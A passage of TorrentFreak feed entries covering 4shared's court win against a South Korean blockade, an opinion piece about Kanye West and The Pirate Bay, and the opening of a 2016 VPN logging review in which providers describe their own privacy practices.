# articles

feed_id: http://torrentfreak.com/?p=117987
title: 4shared Wins Court Case to Overcome Piracy Blockade
uri: 4shared-Wins-Court-Case-to-Overcome-Piracy-Blockade
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/ycyny1ZiSkc/
content:
<p><a href="media/6466fd63.4shared-1.jpg" data-original-source="http://torrentfreak.com/images/4shared-1.jpg" rel="attachment wp-att-118093"><img src="media/6466fd63.4shared-1.jpg" data-original-source="http://torrentfreak.com/images/4shared-1.jpg" alt="4shared" width="277" height="91" class="alignright size-full wp-image-118093"></a>As one of the largest online file-sharing services <a href="http://4shared.com">4shared</a> is closely watched by copyright holders who find their content being made available on the site.</p>
<p>Recently the site also became the target of an ISP blockade in South Korea, where it was added to the national ISP blocklist by the Communications Standards Commission.</p>
<p>4shared was not happy with this decision as it locked out many of its legitimate customers, so the company responded with an appeal with help from Open Net Korea. </p>
<p>After hearing the arguments from both sides, the Korean court decided <a href="http://transparency.kr/case/285?ckattempt=2">in favor</a> of the file-sharing service. The court found that a blockade is not warranted simply because it contains “some illegal content.”</p>
<p>According to local law it is not sufficient to show that a subset of the site&#8217;s users engage in copyright infringement. For a site to be blocked it must be setup specifically to aid piracy, which is not the case with 4shared. </p>
<p>4shared is happy with the outcome and is glad to be open to the public again in South Korea.</p>
<p>&#8220;We think it is a good result. It&#8217;s the first time we tried disputing in court with a state Internet censorship body,&#8221; 4shared’s Mike Wilson tells TorrentFreak.</p>
<p>&#8220;We believe that 4shared does enough to protect intellectual property and disabling access to our service for an entire country is not lawful,&#8221; he adds.</p>
<p>As one of the largest file-sharing services on the Internet the company has adopted a variety of measures to limit copyright infringement. This includes a <a href="https://torrentfreak.com/4shared-uses-unique-fingerprinting-tech-to-scan-for-pirated-files-130816/">fingerprinting system</a> that removes pirated music files based on a unique audio watermark.</p>
<p>Still, copyright holders including the RIAA and IFPI are not eager to team up. Instead, the music labels <a href="https://torrentfreak.com/riaa-and-mpaa-report-notorious-piracy-sites-to-u-s-government-151007/">reported</a> the site to the U.S. Trade Representative (USTR), which put it on its <a href="https://torrentfreak.com/u-s-govt-targets-torrent-sites-and-other-piracy-havens-151218/">annual overview</a> of notorious pirate sites.</p>
<p>4shared informs us that it is considering reaching out to the USTR to set the record straight. The company also reached out to various music industry groups but thus far without a positive response.</p>
<p>&#8220;We tried communicating with RIAA and IFPI, especially because of their possible participation in our music identification system,&#8221; Wilson says. </p>
<p>&#8220;We did not receive any assistance, so we started with music ID by ourselves and in just one year it helped to reduce the number of copyright complaints by 16 times, while the volume of stored information is actually still growing,&#8221; he adds.</p>
<p>For now 4shared is happy that all users can access the site freely again, but it is also confident that it can shake off the pirate labels in the future.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="http://torrentfreak.com/anonymous-vpn-service-provider-review-2015-150228/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118046
title: Dear Kanye: Please, Please, Please Sue The Pirate Bay
uri: Dear-Kanye-Please-Please-Please-Sue-The-Pirate-Bay
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/OYReu2TbZUM/
content:
<p><a href="media/d57ea095.yeezus.jpg" data-original-source="http://torrentfreak.com/images/yeezus.jpg" rel="attachment wp-att-118060"><img src="media/d57ea095.yeezus.jpg" data-original-source="http://torrentfreak.com/images/yeezus.jpg" alt="yeezus" width="200" height="186" class="alignright size-full wp-image-118060"></a>Is Kanye West a genius, a lunatic, a megalomaniac, an egomanic, or an amalgamation of all four? That&#8217;s just one of the puzzles on the table this week following the launch of the new album by the self-styled &#8220;<a href="https://twitter.com/kanyewest/status/698927040632922116">greatest artist of all time</a>.&#8221;</p>
<p>For those just who&#8217;ve just returned to civilization following a week long trek to the Amazon basin, West launched his new album last Saturday. Then, following the genius decision to limit its availability only to those subscribing to Tidal, Life of Pablo was illegally downloaded, uploaded, torrented, streamed, swapped and exchanged all over the Internet, all week long, <a href="https://torrentfreak.com/kanye-wests-the-life-of-pablo-piracy-160216/">without West getting a cent</a>.</p>
<p>Stop the press &#8211; did anyone really think that it wouldn&#8217;t?</p>
<p>Restricting the availability of the album reviewed by West himself as &#8220;one of the greatest&#8221; of all time was a move that probably made commercial sense somewhere along the line. After all, these industry people know what they&#8217;re doing, right? But isn&#8217;t artificial restriction and man-made shortages what caused piracy to boom in the first place?</p>
<p>What&#8217;s perhaps most frustrating about this entire episode is that the pirating masses had just begun to understand that music can be obtained legally, conveniently and at a reasonable price via services such as Spotify. Signing up for a fair monthly fee would rid of them of their piracy habits while rewarding creators, customers were told.</p>
<p>Then along came West, waving his self-important &#8220;exclusive&#8221; flag while shitting all over fans&#8217; $10 and £10 per month subscriptions. Like a rich and perverted Oliver Twist (and without a <a href="https://twitter.com/kanyewest/status/698926987281371136">billion forthcoming from Zuckerberg</a>), West still wants more.</p>
<p>Look, West is a popular guy, no doubt about that. Even his most ridiculous of tweets (and there are plenty of them) get tens of thousands of positive reactions. Millions love his music too, that can&#8217;t be taken away from him. But apparently he&#8217;s now surprised and angry that his music is being pirated to heaven and back. Is he really that self-absorbed that he didn&#8217;t see this coming?</p>
<p><center><a href="media/f582caa7.pablo-sq.jpg" data-original-source="http://torrentfreak.com/images/pablo-sq.jpg" rel="attachment wp-att-118057"><img src="media/f582caa7.pablo-sq.jpg" data-original-source="http://torrentfreak.com/images/pablo-sq.jpg" alt="pablo-sq" width="600" height="502" class="aligncenter size-full wp-image-118057"></a></center></p>
<p>With further Twitter rants now appearing tantalizingly on the horizon and about to put yet more icing on this considerably over-baked cake, <strike>Jesus</strike> West is now reportedly thinking of <a href="https://torrentfreak.com/kanye-west-delares-war-on-the-pirate-bay-160218/">kicking some pirate ass</a> by taking on the people behind The Pirate Bay.</p>
<p>&#8220;He’s going to talk to his lawyers and see where he stands, and hopefully Tidal will partner up with him in any legal proceedings because it was supposed to be an exclusive release,” a source revealed this week.</p>
<p>From a selfish perspective this is the best news, almost ever. The prospect of Kanye West spouting daily anti-Pirate Bay rhetoric on Twitter and in the media guarantees we&#8217;ll never be short of something to write. And if he can rope Kim in to say something controversial too, that would be beyond brilliant.</p>
<p>But most of all we should be pleased for The Pirate Bay. Since the raid in late 2014 things haven&#8217;t quite been the same on the PR front for the notorious site. There hasn&#8217;t been a lot in the way of provocative comments (certainly nothing involving <a href="http://imgur.com/gallery/smpkV">retractable batons</a>) and as a result they&#8217;ve been losing ground to a surging KickassTorrents who are now grabbing the limelight.</p>
<p>To be frank, an expensive lawsuit initiated by someone like Kanye West is just what The Pirate Bay needs. Then, every day when he says something dumb on Twitter, the millions of West fans who haven&#8217;t yet heard of The Pirate Bay can be introduced to the site, learn all about torrents, and tell Tidal to shove their subscriptions where the sun don&#8217;t shine.</p>
<p>Sadly, some will also use their new-found knowledge to tell Spotify to screw themselves too.</p>
<p>The point here is that this needless posturing over a single album has the potential to considerably damage people&#8217;s trust in legal services. Sure, Tidal will have benefited short term, but what West has done is shown fans that subscribing to just one service is not enough and that any point any &#8216;star&#8217; can flick a switch and require them to pay out more money.</p>
<p>The uncomfortable truth here is that The Pirate Bay has never done that. Sure, the site gives nothing to creators and that will understandably sit poorly with some, but people know where they stand with the site. It is there, week in and week out, and it always costs nothing to use. There&#8217;s a reason it has tens of millions of users and West&#8217;s exclusive just gave the site yet more recruits. It&#8217;s insane.</p>
<p>What Kanye needs to know is that despite the mock begging in the title, suing The Pirate Bay would be the most stupid thing in the world. It didn&#8217;t work <a href="https://torrentfreak.com/prince-hires-web-sheriff-t0-take-on-the-pirate-bay-070914/">for Prince</a>, it didn&#8217;t work <a href="https://torrentfreak.com/michael-jackson-to-take-on-the-pirate-bay-080516/">for Michael Jackson</a>. It even managed to make the Village People <a href="https://torrentfreak.com/village-people-hire-web-sheriff-080215/">look like fools</a>.</p>
<p>Kanye, the way you deal with The Pirate Bay is to stop giving fans a reason to go there. The notion of online exclusivity is so old fashioned it&#8217;s mind-bending. Easy access to all music for everyone at a fair price is what you should be aiming for &#8211; rant about that in a tweet when you get a minute.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="http://torrentfreak.com/anonymous-vpn-service-provider-review-2015-150228/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=117981
title: Which VPN Services Take Your Anonymity Seriously? 2016 Edition
uri: Which-VPN-Services-Take-Your-Anonymity-Seriously-2016-Edition
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/47xBW7W9yVM/
content:
<p><a href="media/29b4878c.boxed.jpg" data-original-source="http://feed.torrentfreak.com/images/boxed.jpg" rel="attachment wp-att-36576"><img src="media/70f2a6a6.boxed.jpg" data-original-source="http://torrentfreak.com/images/boxed.jpg" alt="VPN review" width="222" height="178" class="alignright size-full wp-image-36576"></a>Millions of people use a VPN service to browse the Internet securely and anonymously. Unfortunately, however, not all VPN services are as anonymous as they claim to be and some keep extensive logs of private information.  </p>
<p>To help VPN users to make an informed choice we decided to ask dozens of VPN services how they protect the privacy of their users. Today we present the fifth iteration of our annual VPN services &#8220;logging&#8221; review. </p>
<p>In addition to questions about logging policies we also asked VPN providers about various other privacy related issues. </p>
<p>&#8212;</p>
<p>1. Do you keep ANY logs which would allow you to match an IP-address and a time stamp to a user of your service? If so, what information and for how long?</p>
<p>2. What is the registered name of the company and under what jurisdiction(s) does it operate?</p>
<p>3. Do you use any external visitor tracking, email providers or support tools that hold information of your users / visitors?</p>
<p>4. In the event you receive a takedown notice (DMCA or other), how are these handled?</p>
<p>5. What steps are taken when a valid court order or subpoena requires your company to identify an active user of your service? Has this ever happened?</p>
<p>6. Is BitTorrent and other file-sharing traffic allowed on all servers? If not, why?</p>
<p>7. Which payment systems do you use and how are these linked to individual user accounts?</p>
<p>8. What is the most secure VPN connection and encryption algorithm you would recommend to your users? Do you provide DNS leak protection and tools such as &#8220;kill switches&#8221; if a connection drops?</p>
<p>9. Do you offer a custom VPN application to your users? If so, for which platforms? </p>
<p>10. Do you use your own DNS servers?</p>
<p>11. Do you have physical control over your VPN servers and network or are they hosted by/accessible to a third party?</p>
<p>12. What countries are your servers located in?</p>
<p>&#8212;</p>
<p>What follows is the list of responses from the VPN services, in their own words. Providers who didn&#8217;t answer our questions directly or failed by logging extensively were excluded. We specifically chose to leave room for detailed answers where needed. The order of the list holds no value. </p>
<h2><a name="pia"></a><a href="https://www.privateinternetaccess.com/">Private Internet Access</a></h2>
<p> </a></p>
<p><a href="media/d2a1e068.pia.png" data-original-source="http://torrentfreak.com/images/pia.png"><img class="alignright size-full wp-image-41039" title="torrentprivacy" src="media/d2a1e068.pia.png" data-original-source="http://torrentfreak.com/images/pia.png" alt="VPN review" width="180" height="40"></a>1. We do not store logs relating to traffic, session, DNS or metadata. In other words, we do not log, period. Privacy is our policy.</p>
<p>2. We&#8217;re known as London Trust Media, Inc., and we are located in the US, one of the few countries that do not have a mandatory data retention policy. Additionally, since we operate in the country with the strongest of consumer protection laws, our beloved clients are able to purchase with confidence.</p>
<p>3. We take advantage of Google Apps and Analytics. All of our systems and support tools are in-house.</p>
<p>4. We do not monitor our users, period. That said, we have an active proprietary system in place to help mitigate abuse.</p>
<p>5. Every subpoena is scrutinized to the highest extent for compliance with both the &#8220;spirit&#8221; and &#8220;letter of the law.&#8221; We have not received a valid court order. All this being said, we do not log and do not have any data on our customers other than their e-mail and account username.</p>
<p>6. Yes.  We do not censor our servers, period.</p>
<p>7. We utilize a variety of payment systems, including, but not limited to: PaypPal, Credit Card (with Stripe), Amazon, Google, Bitcoin, Stellar, Ripple, CashU, any major store bought gift card and OKPay. Over 100 new forms of international payment coming soon.</p>
<p>8. Currently, the most secure and practical encryption algorithm that we recommend to our users would be our cypher suite of AES-256 + RSA4096 + SHA256.  That being said, AES-128 is still safe. Our users specifically also gain a plethora of additional protections, including but not limited to:</p>
<p>(a) Kill Switch: Ensure that traffic is routed through the VPN such that if the VPN connection is unexpectedly terminated, the traffic will not route. (b) IPv6 Leak Protection: Protects clients from websites which may include IPv6 embeds, which could leak to IPv6 IP information coming out. (c) DNS Leak Protection: This is built-in and ensures that DNS requests are made through the VPN on a safe, private, no-log DNS daemon. (d) Shared IP System: We mix clients&#8217; traffic with many other clients&#8217; traffic through the use of an anonymous shared-IP system ensuring that our users blend in with the crowd.</p>
<p>9. We have a great application to which our users have left amazing reviews.  It is supported on the following platforms: Windows, Mac OS X, Linux, Android, iOS and a Chrome Extension (Coming soon).</p>
<p>Additionally, users of other operating systems can connect with other protocols including OpenVPN and IPSec among others. Our application maintains connection debug information, stored safely, locally and is regularly destroyed. This is for users who wish to seek assistance in the rare case of connection issues.</p>
<p>10. Yes, we operate our own DNS servers on our high throughput network. These servers are private and do not log.</p>
<p>11. We utilize third party datacenters that are operated by trusted friends and, now, business partners who we have met and completed serious diligence on. Our servers are located in facilities including 100TB, UK2, SoftLayer, Choopa, Leaseweb, among others.</p>
<p>12. We&#8217;re currently located in: USA, Canada, United Kingdom, Australia, New Zealand, Netherlands, Sweden, Norway, Denmark, Switzerland, France, Germany, Ireland, Italy, Russia, Romania, Turkey, Hong Kong, Singapore, Japan, Israel, Mexico, Brazil, India, Finland (Coming soon) and Spain (Coming soon)</p>
<p>We have over 3,000 servers deployed at the time of writing with over 500 in manufacture/shipping.</p>
<p><a href="https://www.privateinternetaccess.com/">Private Internet Access website</a></a></p>
<h2><a name="torguard"></a><a href="https://torguard.net/">TorGuard</a></h2>
<p><a href="media/b1060a22.torguard.png" data-original-source="http://torrentfreak.com/images/torguard.png"><img class="alignright size-full wp-image-50163" title="torguard" src="media/b1060a22.torguard.png" data-original-source="http://torrentfreak.com/images/torguard.png" alt="VPN review" width="180" height="59"></a>1. No logs or time stamps are kept whatsoever. TorGuard does not store any traffic logs or user session data on our network. In addition to a strict no logging policy we run a shared IP configuration across all servers. Because there are no logs kept with multiple users sharing a single IP address, it is not possible to match a user with an IP and time stamp. </p>
<p>2. TorGuard is owned and operated by VPNetworks LLC under US jurisdiction, with our parent company VPNetworks LTD, LLC based in Nevis. </p>
<p>3. We use Sendgrid for bulk email services and encourage users to take advantage of TorGuard’s free email service for increased anonymity during signup. Our 24/7 live chat services are managed by Livechatinc’s platform. Advanced support desk requests are maintained by TorGuard’s own internal support ticketing system.</p>
<p>4. Because we do not host any content it is not possible for us to remove anything from a server. In the event a valid DMCA notice is received it is immediately processed by our abuse team. Due to our no log policy and shared IP network configuration we are unable to forward any requests to a single user. </p>
<p>5. If a court order is received, it is first handled by our legal team and examined for validity in our jurisdiction. Should it be deemed valid, our legal representation would be forced to further explain the nature of a shared IP configuration and the fact that we do not hold any identifying logs. No, we remain unable to identify any active user from an external IP address and time stamp.</p>
<p>6. Yes, BitTorrent and all P2P traffic is allowed. By default we do not block or limit any types of traffic across our network.</p>
<p>7. We currently accept over 200 different payment options through all forms of credit card, PayPal, Bitcoin, altcoins (e.g. dogecoin, litecoin + more), Alipay, UnionPay, CashU, 100+ Gift Cards, and many other methods. No usage can be linked back to a billing account due to the fact that we maintain zero logs across our network.</p>
<p>8. For best security we advise clients to use OpenVPN connections only and for encryption select AES256 with 2048bit RSA. AES128 is also considered very safe and is a great option if download speed is a priority. Yes, TorGuard provides a full range of security features including a connection kill switch, application kill switch, DNS leak protection, IPv6 leak protection, WebRTC leak protection, and Stealth VPN services. All encryption and security features are available to clients at no additional charge.</p>
<p>9. TorGuard offers a custom VPN application powered by OpenVPN for all versions of Windows, OSX, Linux and Android. We also offer a custom iOS app available on iTunes, however due to Apple’s API restrictions the app uses IPsec for VPN connections. TorGuard’s custom VPN applications do not store any connection logs on the user’s local machine.</p>
<p>10. Yes, we offer all clients the choice between private no log TorGuard DNS servers or Level 3 and Google DNS servers. Members also have the option of using TorGuard local DNS, which is a no log DNS solution running locally on each VPN endpoint.</p>
<p>11. Yes, we retain full physical control over all hardware and only seek partnerships with data centers who can meet our strict security criteria. All servers are deployed and managed exclusively by our in house networking team via a single, secure key.</p>
<p>12. TorGuard currently maintains thousands of servers in over 49 countries around the world and we continue to expand the network every month. All customers get full access to our network with servers in: Australia, Belgium, Brazil, Canada, China, Costa Rica, Czech Republic, Denmark, Egypt, Finland, France, Germany, Greece, Hong Kong, Hungary, Iceland, India, Indonesia, Ireland, Italy, Japan, Korea, Latvia, Luxembourg, Malaysia, Mexico, Moldova, Netherlands, New Zealand, Norway, Panama, Poland, Portugal, Romania, Russia, Saudi Arabia, Singapore, South Africa, Spain, Sweden, Switzerland, Thailand, Tunisia, Turkey, Ukraine, United Kingdom, USA, and Vietnam.</p>
<p><a href="https://torguard.net/">TorGuard website</a></p>
<h2><a name="slickvpn"></a><a href="https://www.slickvpn.com/">SlickVPN</a></h2>
<p><a href="media/99f09611.slickvpn.png" data-original-source="http://torrentfreak.com/images/slickvpn.png"><img src="media/99f09611.slickvpn.png" data-original-source="http://torrentfreak.com/images/slickvpn.png" alt="slickvpn" width="191" height="96" class="alignright size-full wp-image-85301"></a>1. SlickVPN does not log any traffic nor session data of any kind.</p>
<p>2. Slick Networks, Inc. is our recognized corporate name.  We operate a complex business structure with multiple layers of Offshore Holding Companies, Subsidiary Holding Companies, and finally some Operating Companies to help protect our interests. The main marketing entity for our business is based in the United States of America and an operational entity is based out of Nevis.</p>
<p>3. We utilize third party email systems to contact clients who opt in for our newsletters and Google Analytics for basic website traffic monitoring and troubleshooting.</p>
<p>4. If a valid DMCA complaint is received while the offending connection is still active, we stop the session and notify the active user of that session, otherwise we are unable to act on any complaint as we have no way of tracking down the user. It is important to note that we ALMOST NEVER receive a VALID DMCA complaint while a user is still in an active session.</p>
<p>5. This has never happened in the history of our company. Our customer’s privacy is of top most importance to us. We are required to comply with all valid court orders. We would proceed with the court order with complete transparency, but we have no data to provide any court in any jurisdiction. We would not rule out relocating our businesses to a new jurisdiction if required.</p>
<p>6. Yes, all traffic is allowed.</p>
<p>7. We accept PayPal, Credit Cards, Bitcoin, Cash, and Money Orders. We keep user authentication and billing information on independent platforms. One platform is operated out of the United States of America and the other platform is operated out of Nevis. We offer the ability for the customer to permanently delete their payment information from our servers at any point. All customer data is automatically removed from our records shortly after the customer ceases being a paying member.</p>
<p>8. We recommend using OpenVPN if at all possible (available for Windows, Apple, Linux, iOS, Android) and it uses the AES-256-CBC algorithm for encryption.</p>
<p>Our Windows and Mac client incorporates IP and DNS leak protection which prevents DNS leaks and provides better protection than ordinary ‘kill-switches’. Our IP leak protection proactively keeps your IPv4 and IPv6 traffic from leaking to untrusted networks. This was one of the first features we discussed internally when we were developing our network, it is a necessity for any good VPN provider.</p>
<p>SlickVPN Scramble is available to all of our customer accounts. This feature provides an added level of privacy by obfuscating the OpenVPN headers allowing the customer to bypass Deep Packet Inspection (DPI). Using SlickVPN Scramble will allow users to access our network when VPN access is restricted by certain countries, universities, workplaces, or organizations. We also offer our HYDRA product, which utilizes revolutionary multi-hop, multi-destination connections to block anyone from tracking your online activities.</p>
<p> 9.  Yes.  Our users are provided with a custom client, designed by our in-house engineers.  Currently, the client works with Windows and Mac products.  Our client does NOT store logs on customer computers by default.  We also provide guides for every other platform.</p>
<p>10. Yes</p>
<p>11.  We run a mix. We physically control some of our server locations where we have a heavier load. Other locations are hosted with third parties unless there is enough demand in that location to justify racking our own server setup. To ensure redundancy, we host with multiple providers in each location. We have server locations in over forty countries. In all cases, our network nodes load over our encrypted network stack and run from ramdisk. Anyone taking control of the server would have no usable data on the disk. We run an algorithm to randomly reboot each server on a regular basis so we can clear the ramdisk.</p>
<p>12. At SlickVPN we actually go through <a href="https://www.slickvpn.com/the-truth-about-vpn-providers-and-international-locations/">the expense</a> of putting a physical server in each country that we list. There are: Australia, Austria, Belgium, Brazil, Bulgaria, Canada, Chile, China, Czech Republic, Denmark, France, Germany, Hong Kong, Hungary, Iceland, India, Indonesia, Ireland, Israel, Italy, Japan, Latvia, Liechtenstein, Luxembourg, Macau, Malaysia, Netherlands, New Zealand, Norway, Panama, Poland, Portugal, Republic of Kosovo, Romania, Russian Federation, Singapore, South Africa, Spain, Sweden, Switzerland, Taiwan, Thailand, Turkey, Ukraine, United Kingdom and United States</p>
<p><a href="https://www.slickvpn.com/">SlickVPN website</a></p>
<h2><a name="ipredator"></a><a href="https://ipredator.se/">Ipredator</a></h2>
<p><a href="media/5f2d2332.ipredator.jpg" data-original-source="http://torrentfreak.com/images/ipredator.jpg"><img class="alignright size-full wp-image-41040" title="ipredator" src="media/5f2d2332.ipredator.jpg" data-original-source="http://torrentfreak.com/images/ipredator.jpg" alt="ipredator" width="180" height="51"></a>1. No logs are retained that would allow the correlation of a user&#8217;s IP address to a VPN address. The session database does not include the origin IP address of the user. Once a connection has been terminated the session information is deleted from the session database. </p>
<p>2. The name of the company is PrivActually Ltd. which operates out of Cyprus.</p>
<p>3. We do not use any visitor tracking mechanism not even passive ones analyzing the webserver logs. Neither do we use a ticket system to manage support requests. We stick to a simple mail system and delete old data after 3 months from our mail boxes.</p>
<p>4. The staff forwards them to the <a href="https://en.wikipedia.org/wiki/Bastard_Operator_From_Hell">BOFH</a>. Notices sent via paper are usually converted into energy by combustion … to power the data center in the basement where the BOFH lives. Digital SPAM^WDMCA notices are looped back into the kernel to increase the VPNs /dev/random devices entropy.</p>
<p>5. We evaluate the request according to the legal framework set forth in the jurisdictions we operate in and react accordingly. We had multiple cases where somebody tried but did not succeed to identify active users on the system. Examples:</p>
<p>&#8211; A french company which sent lawyers to identify a whistle-blower.<br>
&#8211; The Polish police which contacted us because somebody made a bomb threat in a bigger mall in Poland.<br>
&#8211; The Russian oligarch state which tried to learn who was hosting a torrent website on the VPN.</p>
<p>All cases were resolved without disclosing the identities. Our general stance is that IF we are in a position where we would need to weigh common good vs. running the VPN service we would sacrifice the VPN service.</p>
<p>6. Besides filtering SMTP on port 25 we do not impose any restrictions on protocols our users can use on the VPN, quite the contrary. We believe our role is to provide a net-neutral internet access.</p>
<p>Every user is free to share his/her/its files. We are conservative people and firmly believe in the heritage of our society, which was built upon the free exchange of cultural knowledge. This new age patent system, and the idea that we need companies who milk creators are simply alien to us.</p>
<p>7. We offer PayPal, Bitcoins, Payza, and PaySon fully integrated. OkPay, Transferwise, WU, PerfectMoney, Webmoney, Amazon Giftcards, Cash and Credit Cards on request. An internal transaction ID is used to link payments to their payment processors. We do not store any other data about payments associated with the users account.</p>
<p>8. We provide up to date config files and enforce TLS1.2 for the control channel on all supported systems. For further protection we provide detailed setup instructions for our users. Besides the public and VPN internal DNS servers we also support DNSCrypt as a means to encrypt DNS requests. Howtos for kill switches are available as well. We do not enforce a particular client.</p>
<p>9. Not at the moment.</p>
<p>10. As stated in 8) we run both public and VPN internal DNS Servers and also support DNSCrypt.</p>
<p>11. We own our complete setup, network, and data center with everything in it &#8211; no 3rd parties are allowed access. We do not trust in 3rd parties operating our core infrastructure. More details are available <a href="https://blog.ipredator.se/2016/01/trust-but-verify.html">here</a>.</p>
<p>12. They are in Sweden due to the laws that allow us to run our service in a privacy protecting manner.</p>
<p><a href="https://www.ipredator.se/">Ipredator website</a></p>
<h2><a name="ipvanish"></a><a href="https://www.ipvanish.com/">IPVanish</a></h2>
<p><a href="media/1d1c9f64.ipvarnish.png" data-original-source="http://feed.torrentfreak.com/images/ipvarnish.png"><img src="media/9e68bf44.ipvarnish.png" data-original-source="http://torrentfreak.com/images/ipvarnish.png" alt="ipvanish" width="152" height="82" class="alignright size-full wp-image-51008"></a>1. IPVanish is a no log VPN.</p>
<p>2. Mudhook Marketing, Inc. State of Florida</p>
<p>3. We use basic inbound marketing tools like Google Analytics, but we do not track user activities outside of our site. We also do not track the browsing activities of users who are logged into our VPN service.</p>
<p>4. We do not store, host, stream or provide any content, media, images or files that would be subject to a properly formed takedown notice.</p>
<p>5. First, any request has to be a valid and lawful request before we will even acknowledge the request. If the request is for user data or identification of a subscriber based on an IP address, we inform the agency making the request that we do not keep any logs and we operate in a Jurisdiction that does not require mandatory data retention. Sometimes, legal agencies or authorities may not be happy with this response. We politely remind them that IPVanish operates within the letter of the law and is a valid and needed service to protect the privacy of its subscribers.</p>
<p>6. Yes.</p>
<p>7. Bitcoin, PayPal and all major credit cards are accepted. Payments and service use are in no way linked.</p>
<p>8. We recommend OpenVPN with 256 bit AES as the most secure VPN connection and encryption algorithm.</p>
<p>IPVanish does have a Kill Switch feature that terminates all network traffic to prevent any DNS leaks in the event your VPN connection drops. We also have a user-enabled option that automatically changes your IP address randomly at selected time intervals.</p>
<p>9. Yes. iOS, Android, Windows and Mac. IPVanish is also configurable with DD-WRT and Tomato routers (pre-configured routers available), gaming consoles, Ubuntu and Chromebook.</p>
<p>10. Yes.</p>
<p>11. We own and have physical control over our entire operational infrastructure, including the servers. Unlike other VPN services, we actually own and operate a  global IP network backbone optimized for VPN delivery which insures the fastest speeds of any VPN provider.</p>
<p>12. We have servers in over 60 countries including the US, Australia, United Kingdom, Canada and more. You can view the complete list on our <a href="https://www.ipvanish.com/servers/">servers page</a>.</p>
<p><a href="https://www.ipvanish.com/">IPVanish website</a></p>
<h2><a name="mullvad"></a><a href="http://mullvad.net/en">Mullvad</a></h2>
<p><a href="media/032a295b.mullvad.jpg" data-original-source="http://torrentfreak.com/images/mullvad.jpg"><img class="alignright size-full wp-image-41059" title="mullvad" src="media/032a295b.mullvad.jpg" data-original-source="http://torrentfreak.com/images/mullvad.jpg" alt="VPN review" width="180" height="37"></a>1. No. This would make both us and our users more vulnerable so we certainly don&#8217;t. To make it harder to watch the activities of an IP address from the outside we also have many users share each address, both for IPv4 and IPv6.</p>
<p>2. Amagicom AB. Swedish.</p>
<p>3. We have no external elements at all on our website. We do use external email and encourage people sending us email to use PGP encryption, which is the only effective way to keep email somewhat private. The decrypted content is only available to us.</p>
<p>4. There is no such Swedish law that is applicable to us.</p>
<p>5. We get requests from governments from time to time. They never get any information about our users. We make sure not to store sensitive information that can be tied to publicly available information, so that we have nothing to give out. We believe it is not possible in Swedish law to construct a court order that would compel us to actually give out information about our users. Not that we would anyway. We started this service for political reasons and would rather discontinue it than having it work against its purpose.</p>
<p>6. Yes.</p>
<p>7. Bitcoin, cash (in the mail), bank transfers, and PayPal / credit cards.</p>
<p>8. OpenVPN (using the Mullvad client program).</p>
<p>Regarding crypto ideally we would recommend Ed25519 for certificates, Curve25519 for key exchange (ECDHE), and ChaCha20-Poly1305 for data streams but that suite isn&#8217;t supported by OpenVPN. We therefore recommend and by default use RSA-2048, D-H (DHE) and AES-256-CBC-SHA.</p>
<p>That said, cryptographic algorithms, key lengths etc are usually the strongest part of a system and hardly ever the right thing to focus on. It&#8217;s like worrying about whether to have a 128 mm or 256 mm thick steel door on a house with wooden walls and glass windows.</p>
<p>We provide a kill switch and DNS leak protection as well as IPv6 leak protection (and IPv6 tunneling).</p>
<p>9. Yes. Windows, Linux and OS X. The client program stores connection logs for the current and last time it ran on the its computer.</p>
<p>10. Yes.</p>
<p>11. We have a range of servers. On one end servers lovingly assembled and configured by us with ambitious physical security in data centers owned and operated by people we trust personally and whose ideology we like. On the other end rented hardware in big data centers. Which to use depends on the threat model and performance requirements.</p>
<p>12. Sweden, the Netherlands, USA, Germany and Canada.</p>
<p><a href="http://mullvad.net/en">Mullvad website</a></p>
<h2><a name="blackvpn"></a><a href="https://www.blackvpn.com/">BlackVPN</a></h2>
<p><a href="media/67c6712f.blackvpn.jpg" data-original-source="http://torrentfreak.com/images/blackvpn.jpg"><img class="alignright size-full wp-image-41043" title="blackvpn" src="media/67c6712f.blackvpn.jpg" data-original-source="http://torrentfreak.com/images/blackvpn.jpg" alt="VPN review" width="180" height="61"></a>1. No. We purge this information when the user disconnects from the VPN. </p>
<p>2. BLACKVPN LIMITED is registered company in Hong Kong and operates under the jurisdiction of Hong Kong.</p>
<p>3. We use StreamSend for sending generic welcome and renewal reminder emails, as well as for the occasional news updates. We have Facebook and Twitter widgets on our front page that may track visitors. We host our own website analytics, support system and live chat systems using open source tools.  </p>
<p>4. We temporarily block the port on the VPN server listed in the notice.</p>
<p>5. If we received a valid court order from a Hong Kong court then we would be legally obliged to obey it. This has never happened yet.</p>
<p>6. It is only allowed on our Privacy VPN locations, due to stricter enforcement of these notices in the USA and UK.</p>
<p>7. PayPal, Bitcoin and PaymentWall (for Credit Cards and Bank Transfers). The transaction details (ID, time, amount, etc) are linked to each user account.</p>
<p>8. We always recommend OpenVPN and our VPN servers enforce AES-256-CBC encryption and use 4096 bit RSA and Diffie Hellman keys. The open source OpenVPN client can now be configured for DNS leak prevention and not to leak any traffic if VPN the connection drops. We package the Windows OpenVPN client pre-configured this way for our users, and we also package the OS X Tunnelblick app to prevent IP leaks too.</p>
<p>9. Android &#8211; currently in beta but almost ready for release. Only the connection log from the last connection is kept.</p>
<p>10. We proxy DNS queries to UncensoredDNS.org / CensurfriDNS.dk</p>
<p>11. We use dedicated servers which are hosted in 3rd party data centers.</p>
<p>12. USA, UK, Canada, Brazil, Netherlands, Switzerland, Luxembourg, Estonia, Lithuania, Romania, Russia, Ukraine, Singapore and Australia</p>
<p><a href="https://www.blackvpn.com/">BlackVPN website</a></p>
<h2><a name="ivpn"></a><a href="http://www.ivpn.net/">IVPN</a></h2>
<p><a href="media/a656cf52.ivpn.png" data-original-source="http://torrentfreak.com/images/ivpn.png"><img src="media/a656cf52.ivpn.png" data-original-source="http://torrentfreak.com/images/ivpn.png" alt="ivpn" width="150" height="69" class="alignright size-full wp-image-85390"></a>1. No, this is fundamental to the service we provide. It is also in our interests not to do so as it minimizes our own liability and is not required by law.</p>
